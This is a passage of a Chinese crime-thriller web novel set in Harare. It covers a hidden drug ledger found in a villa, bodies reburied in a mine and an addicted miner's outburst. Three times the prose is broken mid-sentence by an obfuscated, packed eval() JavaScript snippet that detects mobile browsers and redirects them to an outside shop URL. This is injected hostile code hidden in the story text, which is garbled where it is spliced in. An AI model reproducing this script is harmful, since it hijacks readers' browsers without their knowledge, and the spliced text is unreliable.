书架做工考究,红木材质,与房间的整体风格一致,上面摆着两排精装书,大多是《狼性管理》、《非洲投资蓝海》、《厚黑学》之类的畅销书。书脊崭新挺括,几乎没有翻阅的痕迹,更像是纯粹的装饰。 在书架的最上层,错落摆放着几个精致的相框,里面是豹头与一些当地官员、部落酋长的合影,照片上的豹头往往笑得志得意满。 湛文嘉走过去,从上往下扫视。 先是仔细看了看那些相框:相框本身没什么特别,但当他试着移动其中一个时,竟发现它比想象中要沉一些。于是他拿起相框,翻到背面—— 相框的背板是活动的。 他轻轻抠开背板,意料之外,里面竟是空的,什么都没有。 但他见状,眼中却没见失落之意,只是复又将视线下移,挪到了那些书上。 突然,他眼神蓦地一动—— 书架上的书排列得很整齐,但有一本《非洲投资指南》的位置有些微妙——它被放在了一排管理学书籍中间,仔细一看,发觉书脊的颜色和周围的书有些不太协调。 透露出一种被翻得太久的旧感。 湛文嘉抽出那本书,眉毛忽地一挑。 书是空的。 不,准确地说,这本书被掏空了内页,做成了一个伪装的书盒—— 里面放着的,是一本厚厚的账簿。 湛文嘉唇角牵起一丝冷笑:虽不是他的目标,可总算,找到了些有意思的玩意儿。 他顿了顿,翻开账簿,快速浏览。 前面几页,记录的倒是矿场正常的收支:工资、设备采购、运输费用、给当地官员的“打点费”,数额都还算合理。 但翻到中间部分时,数字开始变得不对劲起来。 记录开始变得密集且怪异。 一些新的、重复性很高的款项开始出现,金额却不再是矿场运营的那种规模,而是变成了几百、几千美元不等的“小额”流水,频率极高,几乎每天都有记录,有时一天甚至会出现数笔。 湛文嘉的眉头渐渐蹙紧。他快速浏览着这些条目: “6月2日,货A,出50单位,+$4,000(开门单)” “6月3日,货B,出20单位,+$2,400” “6月3日,货A,出30单位,+$2,400” “6月6日,货C,出10单位,-$1,500(自用)” “6月9日,货A,出60单位,+$4,800(老猫介,新客)” ...... 这些金额,单笔看来微不足道,但累积起来却极为惊人。仅从这几个月的不完全记录看,这类“小额流水”的总收入已超过二十万美元。而支出项除却“自用”外,几乎不见,已然可算是纯收入了。 从六月份开始,豹头在背地里进行交易的,到底是什么东西? 他又是在跟谁进行交易? 想到这里,湛文嘉心头已是疑云密布,深吸一口气后,掏出手机,将账簿可疑之处悉数拍了下来,尔后重又将它放回了原处。 *** 与此同时,阿卡迪亚锂矿场。 高佬亮蹲在矿坑边缘,脸色苍白地看着下方。 昨夜豹头走后,他一个人在酒吧里坐了很久,灌了好几杯啤酒,才勉强压住心里的恐慌。今天天还没亮,还没完全醒酒,他就偷偷开车来了矿场,想确认一下“那些人”是否还安分。 矿场大门依旧是昨日离开时紧闭的模样,保安是他的人,见他来了,立刻放行,却告知了他先前有警察来访一事。 高佬亮一听到警察二字,顿时只觉眼前一黑,冷汗瞬间湿透了后背,满心满脑都是“完蛋”二字。他就要掏出手机朝豹头打去,然而临到拨出,又忽地想起昨晚豹头暴怒的模样,到底是将指头缩了回去。 ——没事的,没事的,这里没有警察,他只要把豹哥安排的事完成,凭豹哥在哈拉雷多年积蓄的人脉,一定会把警察摆平的。 于是他强迫自己定了定神,深吸了一口气后,转头对保安吩咐:“把升降机打开,我下去看看。” “亮哥,这矿虽然是咱弄塌的,可为了做给外人看,到底还是落了些泥巴和石头下去。现在下面是个啥情况,谁也不晓得,您真要……”保安有些犹豫。 “废什么话!”高佬亮此时已经走进罐笼里,不耐烦地将他打断,“你照做就行!” 保安见状哪还敢再多说,忙不迭转身跑去启动那台老旧的电动升降装置。 ...... 齿轮咬合的沉闷声响在寂静中格外刺耳,缆绳渐渐绷直,吊着那只锈迹斑斑的铁笼缓缓沉向坑底。 升降机下行时晃动得比往日记忆里更加剧烈,缆绳摩擦卷筒发出嘎吱嘎吱的呻吟。高佬亮紧握着冰凉的铁栏,手电光柱切开下方黏稠的黑暗,照亮不断上掠的、湿漉漉的岩壁。 没过多久,只听“哐当”一声,笼底触到了实地。 高佬亮按开门,踏进了主巷道。 昨夜暴雨的积水尚未退尽,在手电光下反射着幽暗的光,脚踩上去,发出“啪嗒”的轻响,在异常寂静的坑道里被放大成令人心慌的回音。 他缓缓朝前抬高手电。 果然如保安说的那样,有不少泥土和碎石从洞口落下,把下面的通道堵了大半。原本规整的拱形巷道在这里扭曲变形,大量湿透的红色粘土和嶙峋的碎石堵塞了大部分通道,只留下一道狭窄的、需要侧身才能通过的缝隙。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127424|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>地上到处是泥水,空气里弥漫着一股潮湿的土腥味,还有一种……若有似无的腐臭。 高佬亮的心脏狂跳起来。 他屏住呼吸,继续往前走,绕过一堆塌落的石块后,终于看到了那个浅坑—— 五具尸体还在里面。 它们被胡乱堆在一起,上面原本稀拉盖着一层薄土,此时雨水渗进坑里,把土泡成了泥浆,尸体的部分肢体也露了出来,在昏暗的光线下呈现出一种瘆人的青白色。其中一具头顶那黑洞洞的枪眼旁,已经开始溃烂的皮肤下,隐约有白色的东西在蠕动。 高佬亮胃里一阵翻涌,差点吐出来。 强迫自己冷静下来后,他深吸一口气,从旁边地上捡起那天留下的铁锹。 缠满绷带的右手此时还疼得厉害,他只好侧着身子,用腋下支着棍柄,别扭而艰难地往坑里填土。 泥土落在尸体上,发出沉闷的声响。他干得很急,动作粗鲁,仿佛只要把它们彻底埋掉,就能把近来的噩梦一并掩埋。 汗水顺着他的额头往下淌,混合着矿坑里的湿气,让他整个人都湿透了,但他不敢停,一锹接一锹,直到那个浅坑被填平,表面看起来和周围的地面再没什么两样。 做完这一切,他扔掉铁锹,瘫坐在地上,大口喘着气。 “好了……”他喃喃自语,“这下好了,埋得够深了,等明天再拿些水泥下来,把他们全都封死......这样就不会有人发现了。” 他扶着墙壁站起,踉踉跄跄地往外走。离开矿坑时,他最后回头看了一眼那片被填平的地面,心里稍稍安定了一些:只要尸体不被发现,警察就查不到证据。豹哥在警局里周旋一下,这件事一定能糊弄过去。 他这样想着,脚步也轻快了些。 只是他却没有注意到,在他身后不远处的阴影里,始终有一双眼睛,在静静地注视着他。 那是一条蛇。 通体漆黑,只有眼睛是暗金色的,盘在一块岩石上,同黑暗融为一体。它的目光追随着高佬亮离开的背影,直到他彻底消失在矿坑出口。 然后,它缓缓转头,猩红的蛇信轻轻吞吐,看向矿坑深处那个刚刚被填平的地方。 盯视良久后,它的头颅缓缓垂下,就要摆动身躯,消失在这片黑暗中。 然而就在这时—— 一道破空声骤然响起。 白光撕裂空气,像一支精准的箭,从黑暗中疾射而出,准确无误地钉在了蛇的七寸上。 蛇的身体猛地一僵,随即剧烈扭动起来,但挣扎只持续了几秒,就彻底瘫软下去,不再动弹。 矿坑里重新恢复了寂静。 几秒后,一道身影从阴影中缓缓走出。 黑色越野靴踩在湿漉漉的地面上,发出轻微的咯吱声,靴子上沾满了泥点,还有一些蜿蜒的曲线状污渍,像是干涸的血迹,从靴面一路延伸,最后隐没在脚踝处紧束的裤腿下。 身影在蛇的尸体旁停下,随后弯腰,从蛇躯中拔出了什么。 那是一根羽毛。 通体洁白如雪,尾端残留着一丝暗红,在黑暗中泛着金属般的光泽。而就在它被拔出后,那僵硬的蛇尸,竟开始急速腐烂、朽化,最终,只在原地留下了一摊浊臭的污水。 那人对脚下的变化熟视无睹,把羽毛在手指间转了一圈,重又放回怀里后,他站起身,看了看矿坑出口的方向,又转头看了看那个被填平的浅坑。 帽檐压得很低,遮住了大半张脸,只能看到线条利落的下颌,还有一抹微微勾起的唇角。 那笑容很淡,带着一种冰冷的、猎手般的兴味。 然后,他悄然转身,无声地消失在了黑暗中。 8. 07 湛文嘉背着登山包刚踏出别墅铁门,便险些与迎面冲来的人撞个满怀。 阿坤喘着粗气刹住脚步,额头的汗珠顺着黝黑的脸颊往下淌。他瞪着眼前一身冲锋衣、登山靴打扮的年轻人,喉结上下滚动了好几回,才挤出声音:“少、少爷?” 湛文嘉心里不由暗骂,面上却浮起恰到好处的惊讶:“坤哥?你们事办完了?” “我这边……算暂时了了。”阿坤抬手抹了把汗,眼神却黏在对方鼓鼓囊囊的背包上,“豹哥他们还得在局子里耗一阵。您这是……” “屋里闷得慌,出去透透气呗。” “透气?”阿坤下意识重复,眼睛瞟了瞟他背后的包,眼中闪过一丝警惕,“豹哥交代过,这附近治安虽然还行,但您人生地不熟的,最好还是别自己一个人出去。” “我都多大人了。”湛文嘉笑起来,眼尾微微下垂,透着一股自骨子里钻出来的散漫,“听说集团在这儿不止阿卡迪亚一家买卖,看不了锂矿,铬铁矿、铂矿总该能看吧?来都来了,总不能天天对着四面墙发呆不是。” 他边说边朝阿坤挥了挥手中那串车钥匙,径直朝停在前院的黑色大切走去。 阿坤见状心头一紧,连忙追上去:“少爷,您等等!” 湛文嘉回头,有些不解地看着他。 阿坤想到离开警局时,豹头那句“回去盯紧他”,硬着头皮开口:“外头真不太平!上月才有中国商人被劫……您要出了啥事,豹哥非活剥了我不可!” 午后的阳光斜打在湛文嘉侧脸上,照得他眯起眼,而后带着丝微微的怯意道:“这么严重?” 阿坤见状赶忙趁热打铁:“我这不回来了吗?您想去哪个矿场,我陪您去就是了。” 湛文嘉盯着他看了看,面上有些不好意思:“那会不会太麻烦坤哥了?” 阿坤没想到他还怪有礼貌的,愣了愣,赶紧道:“不麻烦、不麻烦,您来这里,大家都挺高兴的。我嘴笨,说不太清楚,但就是那个意思,少爷您懂的。” 湛文嘉闻言笑了笑,倒是不再推诿,拉开后排的门,矮身坐了进去。 “行啊,那就谢谢坤哥了。” 阿坤松了口气,连忙钻进驾驶座。引擎启动时,他透过后视镜看了一眼坐在后排的湛文嘉——后者已经靠进椅背,侧头看向窗外,面上尽是对即将看到新鲜事物的兴奋神色。 可阿坤心里那根弦却依旧紧绷着。 豹哥被警察带走得太突然,所有安排都乱了套。他现在唯一的任务,就是盯死这个突然到访的“少爷”,不能让他乱跑,更不能让他发现任何不该发现的东西。 可这小子,偏偏好奇心这么强。 阿坤握着方向盘,手心有些冒汗。 车子驶出别墅区,汇入市区的午后车流中。 十二月的哈拉雷,雨季特征鲜明,分明才出来没多久,刚才还晴空万里,转眼间,远处天边却又堆起了厚重的云层。但阳光还是顽强地从云隙间漏下来,将整座城市笼罩在一片湿漉漉的金色里。 湛文嘉透过车窗,静静打量着这座南部非洲国家的首都。 街道两旁多是低矮的建筑,殖民时期留下的欧式楼房与本地常见的砖石结构混杂在一起,墙皮剥落,露出底下斑驳的底色。广告牌上印着英文和当地的绍纳语,色彩艳丽,有些已经褪色翘边,带给人丝丝颓废的感觉。 行人肤色深黑,多穿着鲜艳的印花布料制成的衣裙或衬衫,或在街边慢悠悠地走着,或是挤在锈迹斑斑的小巴车站里等车。 偶尔能看见几个中国面孔,却多是行色匆匆的商人模样。 “少爷,你从上海来,肯定觉得这里破,可哈拉雷已经算是非洲比较像样的城市了。”阿坤一边开车,一边试图找话题,“至少主干道是柏油路,市中心还有几栋像样的写字楼。您要是往东边去到莫桑比克看看,那才叫一个破咧。” 湛文嘉摆了摆手,笑:“哪里。这里很好啊......让我想到小时候。” 这话说出来,他自己都怔了怔。 阳光斜穿过车窗,照在他侧脸上,有那么几秒,他眼前不再是这条陌生街道,而是二十多年前,上海那条梧桐掩映的弄堂。 记忆里的光影摇曳,带着陈旧的暖调。周末午后,蝉声嘶嘶,白兰花的幽香混合着石库门老屋木料的气味,若有若无地飘散。然后,身材高大的男人一手牵着笑容温婉、穿素色旗袍的女人,一手牵着穿着崭新小洋裙、扎羊角辫的女孩,三人准时出现在了弄堂口。 他们是去接他的。 彼时的他刚在少年宫游泳馆泡了一下午,输给了隔壁弄那个外号“二蛋”的壮实小子,正闷头走在回家路上,浑身湿气,赌着气,谁也不理。 男人的大手会按住他湿漉漉的脑袋,胡乱揉搓:“哟,小水鬼上岸了。这是喝了多少水,怎么气鼓鼓的?” 女人则笑着递过手帕,他梗着脖子不接,继续往前走。 直到妹妹挣脱父母的手,迈着小短腿哒哒哒追上来,白嫩的小手一把攥住他泡得发白的指尖,仰起汗津津的小脸,奶声奶气地说:“哥哥最厉害了,下次一定能赢蛋哥哥。” 他才终于停下脚步,被那稚嫩的声音逗得想笑,却还是绷着脸,硬巴巴道:“这还用你说——谁准你叫他哥哥了?” 话音刚落,身后便传来父亲毫不掩饰的笑声,母亲也掩着嘴,肩膀微颤。妹妹见他“不生气”了,便也咧开嘴,露出几颗小米牙,憨憨地把他盯着。 白兰花的甜香,混合着母亲旗袍上淡淡的馨香,缠绕在鼻尖,穿过多年的时光,同此时的街景相融。 他就这样想起了那个午后。 “那后来,少爷赢了吗?”阿坤的声音将他从回忆里拽出。 湛文嘉收回放空的视线,望向窗外迅速掠过的街景。 后来赢了吗?记忆早已崩毁成碎片,模糊不清了。 似乎是赢了吧。可那点微不足道的胜利,很快就被紧随其后的、铺天盖地的黑暗彻底吞噬了。那个夜晚之后,所有的蝉鸣、花香……都成了他此生再也无法企及的昨日幻影,沉没在了冰冷的时间里。 他笑笑,笑容很浅,落入午后斑驳的光影里,转瞬即逝。 ...... 闲谈间,车子跟着导航拐过一处环形交叉口。 前方中央的绿化带里种着一排高大的乔木,约莫有几百米,此刻正开着满树蓝紫色的花。风一吹,花瓣便纷纷扬扬地飘落,像一场温柔的雨。有几片粘在了车窗上,留下湿润的淡蓝色印记。 “哟,竟然路过这儿了。”阿坤瞥了一眼,语气轻快起来,“这是蓝花楹,哈拉雷最出名的花。每年这时候,整座城市都是蓝紫色的,不少游客专门挑这个季节来。少爷,您来得恰是时候啊。” 湛文嘉闻言,摇下车窗,伸出手,接住一片飘落的花瓣。 花瓣薄如绢纸,蓝中透紫,脉络清晰。他盯着看了几秒,收回手,任由那片蓝紫色被风吹走。 “确实很美。”他道。 阿坤从后视镜里看了他一眼,心中不由生出些疑惑。 简短的相处之后,这个传闻中的二世祖给他的印象并不算差。 说话客气,举止得体,没有那种寻常二代颐指气使的架势——甚至对掉落的花瓣会赞叹,对街边那些破败的景象,也不会大惊小怪。 他有些不明白,究竟为何豹哥会那么如临大敌? 就当是个前来拜访的寻常客人,好好接待就行了,哪能出什么差错呢? 阿坤清了清嗓子,继续搭话道:“少爷,听豹哥说,您这次来主要是想看看锂矿。一些破石头而已,您怎么会对这些东西感兴趣?” 湛文嘉这才把视线从窗外收回来,看向驾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127425|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驶座的方向。 “术业有专攻嘛。”他笑了笑,从随身的小包里抽出一张卡片,递到前面,“我吃这碗饭的。” 阿坤趁着红灯,接过卡片看了一眼。 浅蓝色的底,印着上海知名学府的校徽,下面是几行字。阿坤文化程度不高,但“博士研究生”和“地质工程”这几个字还是认得的。 他瞳孔微缩,心里咯噔一下。 “A校……博一?”他声音有些微微变调,“少爷,您学历这么高啊?” “就是研究石头的,没啥了不起的。”湛文嘉不以为意地耸了耸肩,“从小就对地底下的东西感兴趣,文柏叔也支持,于是就一路读下来了。” 阿坤干笑两声,把卡片还回去时,心里已是翻江倒海。 妈的,这小子外表的迷惑性太强了,险些让他看走眼——这哪是什么草包二世祖,分明是个货真价实的学问人。 竟然是个博士。 他握着方向盘的手紧了紧,额角渗出细密的冷汗。 懂行的人,和不懂行的人,完全是两回事。 一个外行下矿,可能只会看个热闹;但一个专门研究地质的博士下矿,眼睛盯着的,可能就是岩层结构、矿脉走向,还有那些......努力掩藏的痕迹。 阿坤在心里咬牙:等豹哥出来,一定得跟他说,矿下的事情必须处理得更干净些。万一这小子真进去了,保不准就能看出问题来。 绿灯亮了。 阿坤深吸一口气,重新挂挡起步。车子继续沿着主干道向前,不久后,穿过一片相对繁华的商业区,路边开始出现一些摆摊的小贩,售卖木雕、石雕、编织品,还有色彩鲜艳的水果。 湛文嘉的视线漫无目的地扫过街景,忽然,他眼神一动,身体微微前倾。 “坤哥,那是什么?” 阿坤顺着他手指的方向看去——前方路边有一片用铁丝网围起来的空地,里头搭着许多简陋的棚子,人来人往,颇为热闹。入口处立着一块巨大的木雕牌匾,雕工粗犷,却很有生命力。 湛文嘉的眼神,就牢牢落在那块牌匾上。 “哦,你说跳蚤市场啊。”阿坤还以为他是对那些棚子感兴趣,解释道,“就是一个交易市场,在哈拉雷挺有名的,本地人摆摊卖旧货、手工艺品什么的,也有些二手衣服、电器。外国人经常来这儿淘东西。” 随着车辆缓缓驶近,牌匾的细节逐渐变得清晰。 它由一整块厚重的硬木雕刻而成,“FleaMarket(跳蚤市场)”两个单词被巧妙地设计成图案的一部分——雕刻在一只展翅大鸟的翅膀上。那鸟雕得杀气腾腾——羽冠怒张,眼周羽毛如金粉描过的战妆,双翼大展,利爪死死扣住一条扭曲挣扎的毒蛇;那蛇则头部高高昂起,毒牙毕露,却被鸟爪死死按住动弹不得,一副行将丧命的凄惨模样。 湛文嘉的目光在那雕刻上停留了很久,直到大切车身从其身旁掠过。 “鸟抓蛇?”他轻声问。 “对啊。”阿坤不以为意,“在这儿不稀奇。非洲很多毒蛇,相应的,就生出了很多吃蛇的动物......喏,其中最出名的,就是刚刚那匾上雕着的玩意儿了——那是蛇鹫,吃黑曼巴就跟吃辣条一样,叼得没边。” 他顿了顿,似是反应过来,又赶紧补充道:“市场里还有好多木雕,您要有兴趣,我停个车,带您进去逛逛?” 湛文嘉沉默了片刻,收回目光,缓缓靠回椅背。 “算了。”他笑笑,“还是矿场更有意思些。” 阿坤“哦”了一声,也没多想,继续开车。 湛文嘉将脸转朝向窗外,看着眼前掠过的线条,面容落在午后斑驳的光影里,神情有些冷硬。 不稀奇吗? 他在心里重复着阿坤的话。 ——可我从小见的,都是蛇吃鸟啊。 9. 08 约莫一小时后,大切诺基碾着红土,驶进了哈拉雷东北角一处没名没姓的铂矿场。 说没名字也不尽然,锈迹斑斑的铁门边挂着块金属牌,上头用英文潦草刻着:36#铂矿。 字迹都被风沙磨得快不见形了,也没人换个新的。 负责接待他们的是这里的经理,姓唐,四十出头,发际线有些退守,穿着一件浆洗得笔挺、领口已磨出毛边的短袖衬衫,看着竟有些书卷气。 阿坤显然同他是熟识。两人见面时只颇为熟络地互相拍了拍肩膀,空气里便荡开一股尘土混合着汗水的、名为“旧相识”的味儿。 “老唐,给你引见位贵客!”阿坤侧身把湛文嘉往前一让,嗓门不自觉拔高,带着点炫耀似的得意,“咱陶唐集团太子爷,正经A校的博士!头回来咱们津巴布韦采风,第一站就奔你这儿了,可得把看家本事亮出来,别丢了哈拉雷办事处的脸面儿!” 那老唐听到“太子爷”三字,镜片后的眼睛骤然一亮,视线在湛文嘉脸上身上迅速扫过后,脸上立刻绽开一个殷勤的笑容,忙不迭地朝他伸出手来:“哎呀呀,失敬失敬!小湛总大驾光临,咱们这荒郊野矿真是……蓬荜生辉啊!” 湛文嘉点点头后,伸手握住了他的手。 男人手心有些汗湿,带着长期在矿上干活留下的粗茧,此时热情得有些过了头,握手的力道扎实得发沉。 寒暄过后,老唐的注意力就几乎全黏在了湛文嘉身上。 他一边引着两人往简易的办公区走,一边试探着开口:“小湛总这次来,主要是想看看哪方面?是咱们的选矿流程,还是伴生矿的利用?或者……是对咱们在哈拉雷这边的整体业务布局感兴趣?” 话到末尾,声气儿不自觉地往下压了压,透出股挠心挠肺的热切:“集团最近有没有什么新风向?咱们在这儿扎根多年,资源人脉都是现成的,要有新项目,小嘉总,咱这边立马就能响应!” 那热乎劲儿,几乎要烫着人。 阿坤在一旁尴尬地扯了扯嘴角,递过去一个警告的眼色。 湛文嘉见了,心里顿时明了—— 这人和豹头他们,不是一路的。 他面上却只挂起副疏淡的笑,目光掠过轰隆作响的机器和灰扑扑的板房,随口应道:“唐经理客气了,就当我是个来开眼界的学生吧。集团的事,我向来不太过问的。” 这就是婉拒了。 老唐脸上闪过一丝不易察觉的失望,但笑容依旧不减,连连点头:“明白,明白!学业要紧,学业要紧。” ...... 原定的计划被阿坤的出现搅得稀烂,让他跟着出来,不过也是权宜之计。湛文嘉本就没有参观的心思,草草跟着老唐在厂房里转了一圈,对那些闪着钢灰色光泽的自然铂标本随意瞥了两眼,便兴趣索然地摆摆手: “行了,大致了解了。” 阿坤一直亦步亦趋地跟着,见他这副模样,心里反而踏实了些——对了,这才像个养尊处优的少爷嘛。之前路上那股子求知若渴的劲儿,安他身上,就像猴儿非要带个帽子,让人看着别扭得紧。 但他嘴上还是说:“那小嘉爷,咱换个矿看看?” 湛文嘉揉了揉太阳穴,一脸倦容:“算了吧,今天起得太早,折腾了这一圈有点累了。而且……”他顿了顿,露出个不好意思的笑,“亲自来走一圈才发现,真像你们说的那样,矿场没啥好看的,除了石头还是石头。” 阿坤心里最后那点疑虑彻底烟消云散,连忙附和:“对对对,本来就都大同小异......咱们这就回去?” 湛文嘉点点头,尔后迈步朝着门口走去。 一旁老唐见状却是愣了:自己正说得情绪激昂呢,这少爷怎么说走就走? 他脸上堆着的笑僵了一瞬,急忙跟上:“小湛总,这、这就走了?要不去样品库看看?咱们这儿还有些没公开的稀有标本……”他一边说,一边不由自主地跟着两人往外走,脚步有些凌乱,几乎快要贴到湛文嘉身侧。 阿坤皱了皱眉,侧身挡了挡:“老唐,没听少爷说今天累了么?下次吧。” 老唐张了张嘴,话噎在喉咙里,还想说些什么,但见阿坤眼神发冷,只好讪讪闭了嘴。可脚下却仍不死心地跟着,一路把他们送到了厂房大门口。 ...... 午后阳光正烈,矿区裸露的红土地被晒得有些发白,空气里蒸腾着尘土和金属混合的气味。几个黑人矿工正从装卸区往仓库搬运器材,赤着上身,皮肤上的汗水在阳光下闪闪发着亮。 然而就在三人快要走到车边时—— “阿坤!阿坤哥!” 一声嘶哑的叫喊突然从厂房的侧面炸开。 几人同时回头。 只见一个黑人矿工赤着脚从侧门冲了出来,眼窝深陷得像两个窟窿,颧骨高耸,破破烂烂的工作服挂在干瘦的身架上,脚上糊满了红泥。他身后紧跟着冲出两个监工模样的华人员工,伸手要抓他——可那人却不知哪来的邪劲,猛地一挣,便脱开了束缚,跌跌撞撞朝这边扑来! 老唐和阿坤的脸色瞬间变了。 后者几乎是本能地一步跨到湛文嘉身前,挡住他的视线,同时伸手拉住他胳膊,低声道:“这人怕是个疯子,少爷,咱们快走。” 话音未落,那矿工已经冲到近前,距离他们只不过两三米了。 湛文嘉这才看清他的样子:那面上带着的并不是普通劳工的疲惫,而是一种近乎濒死的枯槁——眼白布满血丝,瞳孔异常的大,整个人干瘦无比,就像一根在风中颤抖的枯草。 最触目惊心的是他裸露的手臂和小腿——其上赫然布满了密密麻麻的孔洞,有些甚至都已经溃烂发黑了。 “阿坤哥!求你了!”那矿工跪在他们面前,用带着浓重口音的英语哭喊着,声音如同从破风箱里挤出来一般,沙哑破碎,“让豹哥把这个月的糖给我,就一点!我工资到了一定补上,我发誓、我发誓……” 阿坤低骂了一句,脸色铁青,根本不搭理他,只是拉着湛文嘉快步朝车门走去。 那矿工见他不理,眼中闪过一丝绝望。那绝望只一瞬便化作癫狂,只听一声嘶吼响起,他竟不管不顾地朝两人扑来:“给我!给我!我受不了了!” 阿坤眼神一厉,朝追来的那两个监工使了个眼色。 两人立刻会意,一个箭步冲上前,一左一右架住矿工,粗暴地将他按倒在地。 矿工的脸被狠狠摁在红土里,发出“呜呜”的闷哼,却还在挣扎。 老唐站在几步之外,面色尴尬地看着这一幕,手指不自觉地搓着衬衫下摆。他瞄了湛文嘉一眼,嘴唇动了动,最终什么也没说,只将视线移向别处。 “真特么是个疯子!少爷,我们走。”阿坤一把拉开车门,几乎是半推半搡地将湛文嘉塞进后座。 湛文嘉似乎被这突如其来的变故弄得有些发懵,他透过车窗,呆呆地看着外面那混乱的一幕——两个监工死死压着那个矿工,其中一个还抬脚踹了他几下。矿工的身体在地上抽搐,嘴里却还在含糊不清地喊着什么。 阿坤钻进驾驶座,脸色难看地发动引擎,大切诺基旋即扬起一片红土,疾驰而去。 然而,就在车辆从那三人身边驶过之际,却见那矿工面带愤恨地抬起头来,朝着车尾发出泣血般的怒骂:“Wagetheft、Wagetheft!Youblewupmylife!” 后视镜里,那个矿工的身影越来越小,最终被飞扬的尘土彻底吞没。 ...... 回程的路上,车厢里气氛沉抑。 湛文嘉靠在后座,侧头看着窗外飞速倒退的景色,面色依旧有些懵,好似还没从方才一幕中回过神来。 阿坤透过后视镜偷偷瞥了他几眼,心里七上八下的。他清了清嗓子,试图解释:“少爷,您别在意,矿上这种人多的是。工作不好好干,整天就想着要这要那,不给就闹——今天更是荒谬,都找我要糖来了。早知道当时就不招本地人,多从国内找些人来了……” “他说的‘wagetheft’是什么意思?他的工资被偷了?”湛文嘉突然开口,语气疑惑,“谁偷的?” 阿坤握着方向盘的手紧了紧,旋即反应过来,道:“嗨,说着就来气。这些黑人一向不安分,矿上工资从来都是按时发放,他们却经常在自己挥霍完后,舔着脸找我们来闹,吵着要预支下个月的工资——咱做管理的,怎么能允许这种行为发生呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127426|196148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !少爷,你说是吧?” “如果不给,他们就会像今天这样撒泼打滚,硬说是我们偷了他们的工资。真是厚颜无耻!”阿坤语落,还愤愤地拍了一把方向盘。 湛文嘉面上好似恍然大悟,“哦”了一声后,再没追问了。 然而他闭上眼睛,脑海中,却全是那矿工手臂上密密麻麻的针眼,还有阿坤那一瞬间骤变的脸色。 他拢了拢怀中那不知何时塞进来的一张白色名片,面色逐渐变得平静。 *** 车子驶回别墅时,日头已经西斜。 别墅里依旧空荡荡的,看来豹头他们还在警局周旋。阿坤停好车,殷勤地帮湛文嘉拉开车门,脸上堆笑:“少爷,您先休息,晚饭我去厨房准备。豹哥那边应该快处理完了,估计就快回来了。” 湛文嘉打了个哈欠,点点头:“行,那我先上去睡会儿。” ...... 阿坤站在客厅里,看着湛文嘉消失在二楼走廊拐角后,长长舒了口气。 他正准备掏出手机,然而手才伸到一半,电话就打来了。 看清来电是谁后,他面容登时一肃,回首望了望,确认身后无人后,才小声接起电话。 “豹哥,我们回来了……嗯,那小子没什么异常,只是朝着闹着去矿场转转,我就带他去......放心,带他去了最‘干净’的一个,结果没逛多久他就说累了要回来……什么?今晚?明白,我等你消息。” 他压低声音说了几句,挂断电话后,又警惕地朝二楼看去。 房门依旧紧闭。 他这才彻底放心,转身朝厨房走去。 *** 傍晚,用过晚饭后,阿坤朝湛文嘉说:“少爷,刚刚有电话打过来,说一处矿上货源出了问题,现在豹哥不在,我得去解决。您就安心待在家里,要不了多久我就回来,到时候豹哥他们肯定也回来了。” 湛文嘉还是一副累得不行的模样,点了点头:“你去吧,我今天要早点睡。” 阿坤倒是没想到这一次他竟没吵着闹着要同行,原本准备好的说辞都没用上,倒算得上是意外之喜了。 ...... 虽然湛文嘉答应得干脆,可临出门时,阿坤犹豫片刻,还是给入户门落了锁。 到底是不放心,万一这祖宗心血来潮,又跑出去了怎么办? 片刻后,大切基诺缓缓驶出别墅。 二楼房间里,湛文嘉站在窗帘后,从包里拿出手机,点开一个界面简洁的追踪软件。 屏幕上正显示着哈拉雷的局部地图。 一个红色光点正在从蓝色光标——他如今所在的别墅处,朝着市区某处移动。 他看了眼时间:下午六点半。 警察猝不及防上门,已经令这帮人吃了闷亏。不出意外,最迟今晚,他们一定会有所行动。 他走到摊开的行李箱前,从底层拿出一套深灰色的运动服和一双黑色的软底鞋,利落地换上。接着,又从包里取出几个小玩意儿:一枚纽扣摄像头,一支伪装成钢笔的录音笔,还有一把小巧的多功能工具刀。 他把这些东西分别装进运动服的口袋,然后走到窗边,推开窗户。 后院种着茂密的热带植物,高大的旅人蕉和灌木丛形成了天然的屏障。昨天夜里,他就已经悄悄观察了监控摄像头的位置——拢共有四个,其中三个对着前院和大门,后院则仅有一个,覆盖范围有死角,照不到他已规划好的路径。 他翻身爬上窗台,深吸一口气,身体轻盈地跃向那高大的蕉树,尔后猴一般地滑下。 落地时膝盖微屈,卸去冲击力,几乎没有发出任何声响。 他迅速隐入一丛茂盛的龙舌兰,等了几秒后,才猫着腰,沿着墙根的阴影,朝后院的围墙移去。 